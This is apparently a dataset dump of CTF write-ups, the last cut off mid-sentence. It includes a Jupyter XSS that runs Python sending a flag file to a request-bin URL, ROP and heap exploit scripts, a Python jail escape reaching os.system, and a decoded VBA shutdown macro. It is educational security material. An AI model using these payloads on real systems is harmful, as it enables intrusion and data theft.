text_chunk
stringlengths
151
703k
## Solution Summary Use HTML cell to place XSS on the Jupyter notebook which forces the bot to run a code cell with Python code that exfiltrates the flag. ## Challenge Analysis This challenge contains two components: the `app` and the `bot`. The `app` is a web app that serves a simple file upload for [Jupyter notebooks](https://jupyter.org/),which are documents that contain Python code cells and display their output. ![alt text](https://github.com/Nolan1324/CTF-Writeups/blob/main/buckeye-2021/jupyter/upload.png) This will post it to the `/upload_ipynb` endpoint on the app. The file will be given a random name ending in `.ipynb` and written to an uploads folder.The notebook will then be ran with `jupyter trust` and served at the URL `"{APP_URL}:8888/notebooks/{filename}"`.The app will then post to the bot's `/visit` endpoint with the URL of the notebook it is hosting in the body.Note that only the app server can send requests to this endpoint as it has to send a secret `BOT_TOKEN` along with it. When the bot receives a valid URL on this endpoint, it will visit it using Puppeteer.After a timeout, it will then call `window.IPython.notebook.close_and_halt()` to gracefully stop and close the Jupyter notebook that it is viewing. The app also a contains `run.sh` which immediately moves the file containing the flag to `/flag_{rand}.txt`, where `rand` is a random hex string.Our goal therefore is to read this file. ## Solution Walkthrough Since Jupyter notebooks contain code cells that execute Python code on the local machine, we should be able to get the flag if the bot runs a code cell while viewing the Jupyter notebook.Even though the bot is viewing the notebook, executed code cells will run on the app, since the app is the server hosting the Jupyter notebook.This is good because the app has the flag file, not the bot. I created a new notebook by downloading Jupyter and running `jupyter notebook` to open my own web enviornment.I then wrote a simple Python payload in a code cell that exfiltrates the flag. ```pythonimport urllibimport glob endpoint = 'https://enbnoedu5p8tj.x.pipedream.net/' path = "/flag*.txt"flag = '' for filename in glob.glob(path): with open(filename, 'r') as f: flag = f.readline() urllib.request.urlopen(endpoint + flag)``` The purpose of `glob` is to find the flag's filename, since part of the filename is random.The content of this file is then read and sent to a server created with [request.bin](https://requestbin.com/). This code cell works when the user decides to run it.However, there is still a problem: when the bot reads the Jupyter notebook, it doesn't actually run any of the code cells. I noticed in the bot that `window.IPython.notebook.close_and_halt()` gets called in order to stop the notebook.This implies that Jupyter has some Javascript functions that we could possibly leverage to get the bot to run the code cell.After some digging, I found that running the Javascript `IPython.notebook.execute_all_cells()` on the page will run all code cells.I tried to write a script that would execute only one cell, but I had issues with this working consistently. Now all we need is some XSS on our Jupyter notebook page to run this Javascript.I found that in Jupyter you can have a code cell output HTML by using the following syntax in a code cell. ```html%%html ``` The HTML outputed when this code cell is ran will actually persist even if the notebook is closed and reopened (as long as you save it beforehand).This generated HTML could be the perfect place to get some XSS running. When I tried running my XSS using `script` tags, I sometimes had issues with the page not running the script or running it at the wrong time.There are probably many different ways of solving this (I think you can even edit the notebook's source code directly),but I decided to just use the quick solution of having an invalid `img` element that runs my XSS payload via `onerror`. ```html%%html``` The purpose of creating the `window.loaded` variable is just so that the script doesn't keep running itself.Since I am executing **all** cells, the HTML will be regenerated and the event will fire again. This had the desired effect of running all of the cells whenever I opened the notebook!Thus all that was left was to upload this to the app server and have the bot open it for me and send me the flag. ## Solution Source https://github.com/Nolan1324/CTF-Writeups/blob/main/buckeye-2021/jupyter/notebook.ipynb
**Orxw** was a pwn challenge from Balsn CTF 2021 edition. It was a, "not so hard, not so easy" challenge, but interesting.. let's have a look to the reverse: ![](https://github.com/nobodyisnobody/write-ups/raw/main/Balsn.CTF.2021/pwn/orxw/pics/reverse.png) pretty simple as you can see, the program reads up to 0x400 bytes to a 16 bytes buffer (obviously a lot too much...) then it forks. The parent process waits for the child to exits, then setup a seccomp.. The child closes all file descriptors, then setup a seccomp also.. then, they both return to the rop that we can put on stack... as the parent waits for the child to exit, the ROP we send will be executed by the child first, then it will be executed by the parent too. the child seccomp in place looks like this: ![](https://github.com/nobodyisnobody/write-ups/raw/main/Balsn.CTF.2021/pwn/orxw/pics/seccomp.png) basically only read, open, exit, exit_group, and openat syscalls are authorized , so no way to send, or write something... just open and read... and for the parent, the seccomp only allows write , exit ,and exit_group.. so the parent can write, but not open, or read.. pretty useless also.. Opening and reading the flag (from the child) is not a difficult task. We have the almost always present gadgets on x64 binaries produced by GCC, the add & csu gadgets: ```gadget_add = 0x000000000040125c # add dword ptr [rbp - 0x3d], ebx ; nop ; retgadget_csu = 0x000000000040156a # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; retgadget_csu2 = 0x401550 # mov rdx,r14 / mov rsi,r13 / mov edi,r12d / call qword[r15+rbx*8] + 7 pop``` with that 3 gadgets, we can write whatever values where we want in memory, or modify a got entry to change a function to another for example.. if we cannot exfiltrate data via classic channels (stdout, socket, etc...), we can exfiltrate data via another channel, time.. yes a bit like Doctor Who ;) if we can read the flag in memory, we need a way to test all characters possible at a given letter position, if the character is good, we can go in a infinite loop, if it's not the correct character, we exit (or crash, no importance...) the way I found, was to open '/dev/ptmx' device, we have the necessary rights to do it, and to read from it.. it will block, and indicate that the correct character is found... the trick I used was to read the flag's character to be tested at the next byte after '/dev/ptmx' string on .bss, and to add a choosen value to make it equal to zero, to zero terminate the string in fact.. if the value is correct we can deduce the character of the flag.. if the value is incorrect, the '/dev/ptmx' string will not be zero terminated, the opening of the device will failed, and the next read also..so the program will exit or crash immediatly.. if the string is well zero terminated, it will block indefinitely.. and we know that the character guess was correct... well.. if you don't understand my explanation...:) read the code... ```python3#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *import time context.update(arch="amd64", os="linux")context.log_level = 'error' exe = ELF('./orxw')rop = ROP(exe) host, port = "orxw.balsnctf.com", "19091" gadget_add = 0x000000000040125c # add dword ptr [rbp - 0x3d], ebx ; nop ; retgadget_csu = 0x000000000040156a # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; retgadget_csu2 = 0x401550 # mov rdx,r14 / mov rsi,r13 / mov edi,r12d / call qword[r15+rbx*8] + 7 pop def add_gadget(address, val): global gadget_add global gadget_csu return p64(gadget_csu)+p64(val & 0xffffffff)+p64(address+0x3d)+p64(0)*4+p64(gadget_add) def write_string(address, data): l = (len(data)+3) & ~3 m = data.ljust(l,'\x00') n = '' for i in range(l/4): n += add_gadget(address+(i*4), u32(m[(i*4):(i*4)+4])) return n pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]pop_rsi = 0x0000000000401571 # pop rsi ; pop r15 ; ret bss = 0x404900 flag = 'BALSN{'pos=len(flag) while (pos<64): char = 0x20 while (char<0x7e): p = remote(host,port) offset = 0x100-char print('testing char: '+chr(char)) devname = '/dev/ptmx' payload = 'A'*16+p64(0xdeadbeef) # change close to open (by adding 0xfffff4e0 to close got entry) payload += add_gadget(exe.got['close'], 0xfffff4e0) # write 'flag' string in bss payload += add_gadget(0x404800, u32(b'flag')) # open the flag file (fd will be 0 as there are no fd opened) payload += p64(pop_rdi)+p64(0x404800)+p64(pop_rsi)+p64(0)*2+p64(exe.sym['close']) # read the chars before pos (will be overwritten) payload += p64(gadget_csu)+p64(0)+p64(1)+p64(0)+p64(bss+(len(devname)))+p64(pos)+p64(exe.got['read'])+p64(gadget_csu2)+p64(0)*7 # read the char at pos payload += p64(gadget_csu)+p64(0)+p64(1)+p64(0)+p64(bss+(len(devname)))+p64(1)+p64(exe.got['read'])+p64(gadget_csu2)+p64(0)*7 # try to guess char at pos , by adding offset to him to make it zero payload += add_gadget(bss+len(devname), offset) # write '/dev/ptmx' string in bss payload += write_string(0x404900, devname) # open the device, (will be correct if char zero terminates the string..) payload += p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)*2+p64(exe.sym['close']) # try to read from device (will block if device name is correct) payload += p64(gadget_csu)+p64(0)+p64(1)+p64(1)+p64(0x404700)+p64(64)+p64(exe.got['read'])+p64(gadget_csu2)+p64(0)*7 # then exits payload += p64(exe.sym['_exit']) try: p.sendlineafter('orxw?\n', payload) start = time.time() # measure time to return print(p.recv(timeout=3)) # timeout 3 seconds maxi, if read block remotely (and char guess is correct so) end = time.time() except: end = time.time() p.close() if (end-start)>2: # if it takes more than 2 seconds (around 3) , then the guess was correct print('char found: '+chr(char)) flag += chr(char) print('flag = '+flag) break char += 1 pos+=1 ``` *nobodyisnobody still pwning things*
An arachnoid consists of three chunks. The delete arachnoid function doesn't remove the 0x20 chunk, allowing us to manipulate the heap in a way that places the name 0x30 chunk after the data 0x30 chunk. Combined with a Use After Free and we pass the checks for the `obtain_arachnoid` function. ```py#!/usr/bin/env python3from pwn import * elf = ELF("./arachnoid_heaven_patched", checksec=False)context.binary = elf p = remote("64.227.40.93",31710) index = 0 def malloc(data): global index p.sendlineafter(b">", b"1") p.sendlineafter(b"Name: ", f"{data}".encode()) index += 1 return index - 1 def free(index): p.sendlineafter(b">", b"2") p.sendlineafter(b"Index: ", f"{index}".encode()) def view(): p.sendlineafter(b">", b"3") def obtain(index): p.sendlineafter(b">", b"4") p.sendlineafter(b"Arachnoid", f"{index}".encode()) chunkA = malloc(b"AAAAAAAA")free(chunkA)chunkB = malloc(b"BBBBBBBB")free(chunkB)chunkC = malloc(b"CCCCCCCC")free(chunkC)chunkD = malloc("sp1d3y") obtain((chunkC))flag = p.recvline_contains(b"HTB").decode("utf-8")log.critical(f"Flag: {flag}")p.close()```
# HackTheBox University Qualifiers - Misc - Tree of Danger![Link to the writeup on github.](https://github.com/BeesAreCool/ctf-writeups/blob/main/writeups/htbuni_tree_of_danger.md) ## Bypass a custom python jail that uses AST for sanitization As you approach SafetyCorp's headquarters, you come across an enormous cogwork tree, and as you watch, a mechanical snake slithers out of a valve, inspecting you carefully. Can you build a disguise, and slip past it? ## A quick note My team Knightsec was the first to blood this challenge, part of a growing trend of enjoying python jails. This writeup makes use of many of the techniques discussed in my writeup for a [previous hackthebox CTF](https://github.com/BeesAreCool/ctf-writeups/blob/main/writeups/cyberapocalypse_build_yourself_in.md); however, this challenge has the additional feature of AST sanitization. ## Triage After downloading the python script I need to escape from I identify the main flow of the program. ```pythonprint("Welcome to SafetyCalc (tm)!\n" "Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc")while True: ex = input("> ") if is_safe(ex): try: print(eval(ex, {'math': math}, {})) except Exception as e: print(f"Something bad happened! {e}") else: print("Unsafe command detected! The snake approaches...") exit(-1)``` The script will take whatever I input, check if it is safe, and if it is safe run the input in `eval` with access to only the math module. Due to quirks of how python is implemented, if we can eval an arbitrary statement we can access any python module through several techniques involving pivoting between different classes and modules. This is a fairly well documented technique and involves going from a basic object to its class definition, and then making use of the parent and child class trees to navigate to a different class. From certain other classes you can get the global variable details from its initializer, which should contain a pointer to a fresh set of python builtins as well as members of other modules in some case. However, first, we need to bypass the is_safe check. Following is the code relevant to the is_safe function. I'll go through all the functions of note individually. ```pythondef is_safe(expr: str) -> bool: for bad in ['_']: if bad in expr: # Just in case! return False return is_expression_safe(ast.parse(expr, mode='eval').body)``` This does 2 things. Firstly, it finds the underscore character and removes it. This is very notable as the underscore is a key part of most python jail escapes. The very first step of my usual python jail escape process is to get the class of a tuple by accessing the `__class__` attribute, like `().__class__`. We will need to find a way to bypass the underscore check later on. Next, it calls the function `is_expression_safe` on a parsed AST of our input. This means python will convert our code into an Abstract Syntax Tree. If you're familiar with compilers, the AST is essentially created to handle syntax parsing. So our code has been converted to an abstract form that can be easily parsed by a machine. Next, we have the function that runs on the AST to determine if it is safe. I've added several comments to explain what is happening.```pythondef is_expression_safe(node: Union[ast.Expression, ast.AST]) -> bool: match type(node): case ast.Constant: return True # Any constant, so anything that doesn't require code to run to determine its value, is safe. Numbers, strings, etc. case ast.List | ast.Tuple | ast.Set: return is_sequence_safe(node) # Anything that stores multiple values in a sequence has all of its values checked in is_sequence safe case ast.Dict: return is_dict_safe(node) # Any dictionary {'key': 'value'} is checked with a custom function. case ast.Name: return node.id == "math" and isinstance(node.ctx, ast.Load) # The only base variable allowed is math. Additionally, it has to be loaded. This means we can access math but we cannot overwrite its value. case ast.UnaryOp: return is_expression_safe(node.operand) # a unary operand is something like -x or ~x. We simply run recursively through the elements in the operand, in the example just x. case ast.BinOp: return is_expression_safe(node.left) and is_expression_safe(node.right) # a binary operand is something like x+y. We simply run recursively through the elements in the operand, in the example both x and y. case ast.Call: return is_call_safe(node) # if a function call appears, we run a custom function to check the call is safe. case ast.Attribute: return is_expression_safe(node.value) # If we access an attribute of a value we then check the attribute is safe, recursively, with this very function. case _: return False``` Now, you may notice some weird python features with matching. This is a new feature in 3.10 and as far as I can tell is irrelevant to the challenge outside of making you update python. So, lets move on and take a quick look at the 2 additional checking functions and then the final checking function which is vulnerable. ```pythondef is_sequence_safe(node: Union[ast.List, ast.Tuple, ast.Set]): return all(map(is_expression_safe, node.elts))```The check for sequences is very straightforward. Simply go through all the elements `node.elts` of the sequence and check they are all safe. ```pythondef is_call_safe(node: ast.Call) -> bool: if not is_expression_safe(node.func): return False if not all(map(is_expression_safe, node.args)): return False if node.keywords: return False return True``` The check for calls is a bit more complicated. Essentially this checks if the function itself is safe, then checks if the arguments and keywords passed are both also safe. ```pythondef is_dict_safe(node: ast.Dict) -> bool: for k, v in zip(node.keys, node.values): if not is_expression_safe(k) and is_expression_safe(v): return False return True``` Now, the dictionary check is a bit more unusual. This is actually a fairly subtle order of operations error if you aren't paying that much attention, had the python script been written as `not (is_expression_safe(k) and is_expression_safe(v))` it would be safe. However, it is not. The script wants to do the following check for each element and then saying the dictionary is unsafe if any key value pair returns true, demonstrated with a logical table. | safe(k)| safe(v)|unsafe||--------|--------|------|| False | False |True || False | True |True || True | False |True || True | True |False | However, since it left off the parenthesis, it is effectively doing the following instead. This equates to the following statement with paranthesis added for emphases ``(not is_expression_safe(k)) and (is_expression_safe(v))`` | safe(k)| safe(v)|unsafe||--------|--------|------|| False | False |False || False | True |True || True | False |False || True | True |False | The big idea is here, is we are allowed to have an unsafe element in a dictionary! We just need to make sure we avoid the combination of an unsafe key with a safe value. ### Attack Firstly, we can get a quick POC of arbitrary python code execution by trying to run a forbidden function. We can't run `eval` and being able to run eval will help us tremendously, so we try and do that first with the following payload. ```python3{1: eval('print("I\'m in")')}``` And we get a succesful print! We can now move on to pivoting to bash commands so we can easily locate the flag. The first thing I want to do is dump the complete list of subclasses help by the base object. To do that we need to run `().__class__.__bases__[0].__subclasses__()`. This snippet means * Make a tuple * Get the class of the tuple (tuple class) * Get the base classes of the tuple class * Get the first of these base classes (base object class) * Get all subclasses, classes that inherit from the base object (everything) Now, you may remember from earlier that we can't just run this because underscores are blocked. We can trvially get around this by replacing all underscores with an ascii escaped version of them, `\x5f`/ This gives us the following for our next payload. ```python{1: eval('print(().\x5f\x5fclass\x5f\x5f.\x5f\x5fbases\x5f\x5f[0].\x5f\x5fsubclasses\x5f\x5f())')}``` This returns a lot...```Welcome to SafetyCalc (tm)!Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc> {1: eval('print(().\x5f\x5fclass\x5f\x5f.\x5f\x5fbases\x5f\x5f[0].\x5f\x5fsubclasses\x5f\x5f())')}[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, ........ like hundreds more of these```However, we are only interested in the index of `<class 'os._wrap_close'>` on this system. In this case, it appears to be at index 138. This index will change between systems and python versions, so it is worth checking every time. We can now go straight to our final payload. What we want to do is read flag.txt. While this could be done by just opening it, I find it to be more fun to spawn a shell and run system commands. This makes life easier in many scenarios, for instance when the flag is named weirdly and you need to find it. The following should read the flag.txt file `().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__["system"]("cat flag.txt")` How it works (extended from earlier) * Make a tuple * Get the class of the tuple (tuple class) * Get the base classes of the tuple class * Get the first of these base classes (base object class) * Get all subclasses, classes that inherit from the base object (everything) * Get the 138th subclass that happens to be os._wrap_close * Get the initialization function of os._wrap_close * Get the global state that is used by os._wrap_close (includes builtins and the os module * Get the system variable from inside the os module (os.system) * Call it with our string to cat the flag. When encoded to bypass the underscore and AST checks it looks like the following. ```python{1: eval('print(().\x5f\x5fclass\x5f\x5f.\x5f\x5fbases\x5f\x5f[0].\x5f\x5fsubclasses\x5f\x5f()[138].\x5f\x5finit\x5f\x5f.\x5f\x5fglobals\x5f\x5f["system"]("cat flag.txt"))')}``` When running it, we get the flag! ```Welcome to SafetyCalc (tm)!Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc> {1: eval('print(().\x5f\x5fclass\x5f\x5f.\x5f\x5fbases\x5f\x5f[0].\x5f\x5fsubclasses\x5f\x5f()[138].\x5f\x5finit\x5f\x5f.\x5f\x5fglobals\x5f\x5f["system"]("cat flag.txt"))')}HTB{45ts_4r3_pr3tty_c00l!}0{1: None}> ``` ## Post-solve big ideas If you can get a foothold in python, you can easily pivot to RCE. Because the AST checks were bad for the dictionary we were allowed to have a single unsafe element; however, all child elements of that node on the AST tree could also be unsafe. That let us bypass "bad character" checks and run arbitrary python code, giving us the ability to access the os module and then run bash commands. ## Post-solve small ideas Doing the pivot to the OS module was overkill and not really needed. You could technically just open the flag file and read it. However, I overestimated the amount of restrictions on builtins access.
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2021-DEADFACE-CTF/NTA.md#a-warning--150pts) (https://github.com/piyagehi/CTF-Writeups/blob/main/2021-DEADFACE-CTF/NTA.md#a-warning--150pts)
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2021-DEADFACE-CTF/NTA.md#lucifers-fatal-error--50pts) (https://github.com/piyagehi/CTF-Writeups/blob/main/2021-DEADFACE-CTF/NTA.md#lucifers-fatal-error--50pts)
<h1>Upgrades</h1> <h1>Category</h1>Reverse Engineering <h1>Problem</h1> ![Alt text](https://cdn.discordapp.com/attachments/909755224837730334/911325588973813780/unknown.png "Title") <h1>Solution</h1> We got .pptm file (Microsoft Presentation) so i thought about find any macros inside. We are going to use oletools: ```JAVAroot@vps:~/ctf# olevba -c ./Upgrades.pptmolevba 0.60 on Python 2.7.17 - http://decalage.info/python/oletools===============================================================================FILE: ./Upgrades.pptmType: OpenXMLWARNING For now, VBA stomping cannot be detected for files in memory-------------------------------------------------------------------------------VBA MACRO Module1.basin file: ppt/vbaProject.bin - OLE stream: u'VBA/Module1'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Private Function q(g) As Stringq = ""For Each I In gq = q & Chr((I * 59 - 54) And 255)Next IEnd FunctionSub OnSlideShowPageChange()j = Array(q(Array(245, 46, 46, 162, 245, 162, 254, 250, 33, 185, 33)), _q(Array(215, 120, 237, 94, 33, 162, 241, 107, 33, 20, 81, 198, 162, 219, 159, 172, 94, 33, 172, 94)), _q(Array(245, 46, 46, 162, 89, 159, 120, 33, 162, 254, 63, 206, 63)), _q(Array(89, 159, 120, 33, 162, 11, 198, 237, 46, 33, 107)), _q(Array(232, 33, 94, 94, 33, 120, 162, 254, 237, 94, 198, 33)))g = Int((UBound(j) + 1) * Rnd)With ActivePresentation.Slides(2).Shapes(2).TextFrame.TextRange.Text = j(g)End WithIf StrComp(Environ$(q(Array(81, 107, 33, 120, 172, 85, 185, 33))), q(Array(154, 254, 232, 3, 171, 171, 16, 29, 111, 228, 232, 245, 111, 89, 158, 219, 24, 210, 111, 171, 172, 219, 210, 46, 197, 76, 167, 233)), vbBinaryCompare) = 0 ThenVBA.CreateObject(q(Array(215, 11, 59, 120, 237, 146, 94, 236, 11, 250, 33, 198, 198))).Run (q(Array(59, 185, 46, 236, 33, 42, 33, 162, 223, 219, 162, 107, 250, 81, 94, 46, 159, 55, 172, 162, 223, 11)))End IfEnd Sub -------------------------------------------------------------------------------VBA MACRO Slide1.clsin file: ppt/vbaProject.bin - OLE stream: u'VBA/Slide1'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Private Sub Label1_Click() End Sub /usr/local/lib/python2.7/dist-packages/msoffcrypto/method/ecma376_agile.py:8: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release. from cryptography.hazmat.backends import default_backend ``` At first glance we see some char arrays, and function "q" what's probably decrypt function. I decided to re-write functionality into java VBA:```javaPrivate Function q(g) As Stringq = ""For Each I In gq = q & Chr((I * 59 - 54) And 255)Next IEnd Function``` Java:```java public static String decrypt(final char[] array) { for (int i=0; i<array.length; i++) { array[i] = (char) ((array[i] * 59 - 54) & 255); } return new String(array); }``` Next i copied all arrays, decrypt and print out: ```java public static void main(String[] args) throws Exception { System.out.println(decrypt(new char[] {245, 46, 46, 162, 245, 162, 254, 250, 33, 185, 33})); System.out.println(decrypt(new char[] {215, 120, 237, 94, 33, 162, 241, 107, 33, 20, 81, 198, 162, 219, 159, 172, 94, 33, 172, 94})); System.out.println(decrypt(new char[] {245, 46, 46, 162, 89, 159, 120, 33, 162, 254, 63, 206, 63})); System.out.println(decrypt(new char[] {89, 159, 120, 33, 162, 11, 198, 237, 46, 33, 107})); System.out.println(decrypt(new char[] {232, 33, 94, 94, 33, 120, 162, 254, 237, 94, 198, 33})); System.out.println(decrypt(new char[] {81, 107, 33, 120, 172, 85, 185, 33 })); System.out.println(decrypt(new char[] {154, 254, 232, 3, 171, 171, 16, 29, 111, 228, 232, 245, 111, 89, 158, 219, 24, 210, 111, 171, 172, 219, 210, 46, 197, 76, 167, 233 })); System.out.println(decrypt(new char[] {215, 11, 59, 120, 237, 146, 94, 236, 11, 250, 33, 198, 198 })); System.out.println(decrypt(new char[] {59, 185, 46, 236, 33, 42, 33, 162, 223, 219, 162, 107, 250, 81, 94, 46, 159, 55, 172, 162, 223, 11 })); }``` After launch we got strings: ```Add A ThemeWrite Useful ContentAdd More TODOMore SlidesBetter TitleusernameHTB{33zy_VBA_M4CR0_3nC0d1NG}WScript.Shellcmd.exe /C shutdown /S``` our flag: <b>HTB{33zy_VBA_M4CR0_3nC0d1NG}
**Summary** GoodGames was an easy rated machine because it tested your ability to apply basic vulnerabilities and use situational awareness to find the next step, as opposed to figuring out some complex chain of commands. I’ll begin by walking the application, and finding SQL injection in the login page. From there, I’ll extract some password hashes to get the admin’s password and move into the admin panel, which is vulnerable to SSTI. We then find ourselves in a container, where one of the home directories on the original box is mounted. We can create a program to give us elevated privileges, then breakout of the container with ssh, and then escalate to root using our program. Follow the link for a break down of the individual steps.
# Space Pirates **Solves:** 123 **Score:** 325 ## Solution In this challenge we are given a python program called `chall.py`: ```pythonfrom sympy import *from hashlib import md5from Crypto.Cipher import AESfrom Crypto.Util.Padding import padfrom random import randint, randbytes,seedfrom Crypto.Util.number import bytes_to_long FLAG = b'HTB{dummyflag}'class Shamir: def __init__(self, prime, k, n): self.p = prime self.secret = randint(1,self.p-1) self.k = k self.n = n self.coeffs = [self.secret] self.x_vals = [] self.y_vals = [] def next_coeff(self, val): return int(md5(val.to_bytes(32, byteorder="big")).hexdigest(),16) def calc_coeffs(self): for i in range(1,self.n+1): self.coeffs.append(self.next_coeff(self.coeffs[i-1])) def calc_y(self, x): y = 0 for i, coeff in enumerate(self.coeffs): y +=coeff *x**i return y%self.p def create_pol(self): self.calc_coeffs() self.coeffs = self.coeffs[:self.k] for i in range(self.n): x = randint(1,self.p-1) self.x_vals.append(x) self.y_vals.append(self.calc_y(x)) def get_share(self): return self.x_vals[0], self.y_vals[0] def main(): sss = Shamir(92434467187580489687, 10, 18) sss.create_pol() share = sss.get_share() seed(sss.secret) key = randbytes(16) cipher = AES.new(key, AES.MODE_ECB) enc_FLAG = cipher.encrypt(pad(FLAG,16)).hex() f = open('msg.enc', 'w') f.write('share: ' + str(share) + '\n') f.write('coefficient: ' + str(sss.coeffs[1]) + '\n') f.write('secret message: ' + str(enc_FLAG) + '\n') f.close() if __name__ == "__main__": main()``` And some data in a file called msg.enc: ```share: (21202245407317581090, 11086299714260406068)coefficient: 93526756371754197321930622219489764824secret message: 1aaad05f3f187bcbb3fb5c9e233ea339082062fc10a59604d96bcc38d0af92cd842ad7301b5b72bd5378265dae0bc1c1e9f09a90c97b35cfadbcfe259021ce495e9b91d29f563ae7d49b66296f15e7999c9e547fac6f1a2ee682579143da511475ea791d24b5df6affb33147d57718eaa5b1b578230d97f395c458fc2c9c36525db1ba7b1097ad8f5df079994b383b32695ed9a372ea9a0eb1c6c18b3d3d43bd2db598667ef4f80845424d6c75abc88b59ef7c119d505cd696ed01c65f374a0df3f331d7347052faab63f76f587400b6a6f8b718df1db9cebe46a4ec6529bc226627d39baca7716a4c11be6f884c371b08d87c9e432af58c030382b737b9bb63045268a18455b9f1c4011a984a818a5427231320ee7eca39bdfe175333341b7c``` By looking at the code and msg.enc we can conclude that msg.enc was generated when chall.py was run and we guess that it was run with the real flag instead of `HTB{dummyflag}`. The class in the code is called `Shamir` and when instantiating it, the variable is called `sss`. By googling `shamir sss` we find that there is something called [Shamir's Secret Sharing](https://en.wikipedia.org/wiki/Shamir's_Secret_Sharing). That is probably what the class implements, or some modification of it. But this knowledge was not needed to solve it. The code starts by generating a number `secret` at random. It uses this `secret` value to seed python’s PRNG. It then generates 16 random bytes and encrypts the flag using the random bytes as the key. The encrypted flag is then given to us as `secret message` in msg.enc. So our goal is to figure out `secret`, because with it, we can get the flag back. The code also generates the coefficients of a polynomial modulo a given prime p: y = secret + c<sub>1</sub>x + c<sub>2</sub>x<sup>2</sup> + ... + c<sub>n</sub>x<sup>n</sup> The `secret` value is used as the first coefficient. But how are c<sub>i</sub> calculated? By looking at `calc_coeffs` and `next_coeff` we see that c<sub>i</sub> is generated based only on c<sub>i-1</sub>: ```pythondef next_coeff(self, val): return int(md5(val.to_bytes(32, byteorder="big")).hexdigest(),16) def calc_coeffs(self): for i in range(1,self.n+1): self.coeffs.append(self.next_coeff(self.coeffs[i-1]))``` The code then evaluates the polynomial for some random inputs and gives us a pair of x and y. This is given as `share` in msg.enc. The final piece of information given to us is `coefficient` in msg.enc. This corresponds to c<sub>1</sub>. Now, using all this information, how do we find `secret`? secret = y - (c<sub>1</sub>x + c<sub>2</sub>x<sup>2</sup> + ... + c<sub>n</sub>x<sup>n</sup>) The insight is that since we are given c<sub>1</sub> we can calculate all following c<sub>i</sub> using `next_coeff`, since c<sub>i</sub> only depends on c<sub>i-1</sub>. We were also given an x and y pair which we can plug in. Thus, we have all the information on the right hand side and can calculate `secret`. Using `secret` we can again seed python’s PRNG, generate the same random 16 bytes and use them as the key to decrypt the flag. The full solve script can be seen in `solve.py` and here after: ```pythonfrom hashlib import md5from Crypto.Cipher import AESfrom random import randint, randbytes, seed def next_coeff(val): return int(md5(val.to_bytes(32, byteorder="big")).hexdigest(),16) def calc_coeffs(coeffs): for i in range(1,n+1): coeffs.append(next_coeff(coeffs[i-1])) def calc_y(x, coeffs): y = 0 for i, coeff in enumerate(coeffs): y +=coeff *x**i return y%p p = 92434467187580489687k = 10n = 18 # from msg.encx, y = 21202245407317581090, 11086299714260406068coeff1 = 93526756371754197321930622219489764824enc_flag = bytes.fromhex("1aaad05f3f187bcbb3fb5c9e233ea339082062fc10a59604d96bcc38d0af92cd842ad7301b5b72bd5378265dae0bc1c1e9f09a90c97b35cfadbcfe259021ce495e9b91d29f563ae7d49b66296f15e7999c9e547fac6f1a2ee682579143da511475ea791d24b5df6affb33147d57718eaa5b1b578230d97f395c458fc2c9c36525db1ba7b1097ad8f5df079994b383b32695ed9a372ea9a0eb1c6c18b3d3d43bd2db598667ef4f80845424d6c75abc88b59ef7c119d505cd696ed01c65f374a0df3f331d7347052faab63f76f587400b6a6f8b718df1db9cebe46a4ec6529bc226627d39baca7716a4c11be6f884c371b08d87c9e432af58c030382b737b9bb63045268a18455b9f1c4011a984a818a5427231320ee7eca39bdfe175333341b7c") coeffs = [coeff1]calc_coeffs(coeffs)coeffs = coeffs[:k-1] secret = (y - x*calc_y(x, coeffs))%p seed(secret)key = randbytes(16)cipher = AES.new(key, AES.MODE_ECB)print(cipher.decrypt(enc_flag).decode()) # HTB{1_d1dnt_kn0w_0n3_sh4r3_w45_3n0u9h!1337}```
# Seeking the Flag ## Description > Rumors that the file may have information that you need. > > author : ircashem ## Execution ```root@kali~$: strings rev | grep -i con{ -A 4```## Flag ```EHACON{fHl@g_1n_5Htr1ng5}```
# The Vault **Writeup by:** nitrowv **Category:** Reversing **Difficulty:** Medium We're given the binary `vault`. After opening it in Ghidra, we start at the main function and after going through an intermediate function, reach the following:```Cvoid FUN_0010c220(void) { bool bVar1; byte bVar2; long in_FS_OFFSET; byte local_241; uint local_234; char local_219; basic_ifstream<char,std--char_traits<char>> local_218 [520]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)local_218,0x10e004); bVar2 = is_open(); if ((bVar2 & 1) == 0) { operator<<<std--char_traits<char>>((basic_ostream *)&cout,"Could not find credentials\n"); /* WARNING: Subroutine does not return */ exit(-1); } bVar1 = true; local_234 = 0; while( true ) { local_241 = 0; if (local_234 < 0x19) { local_241 = good(); } if ((local_241 & 1) == 0) break; get((char *)local_218); bVar2 = (***(code ***)(&PTR_PTR_00117880)[(byte)(&DAT_0010e090)[(int)local_234]])(); if ((int)local_219 != (uint)bVar2) { bVar1 = false; } local_234 = local_234 + 1; } if (bVar1) { operator<<<std--char_traits<char>> ((basic_ostream *)&cout,"Credentials Accepted! Vault Unlocking...\n"); } else { operator<<<std--char_traits<char>> ((basic_ostream *)&cout, "Incorrect Credentials - Anti Intruder Sequence 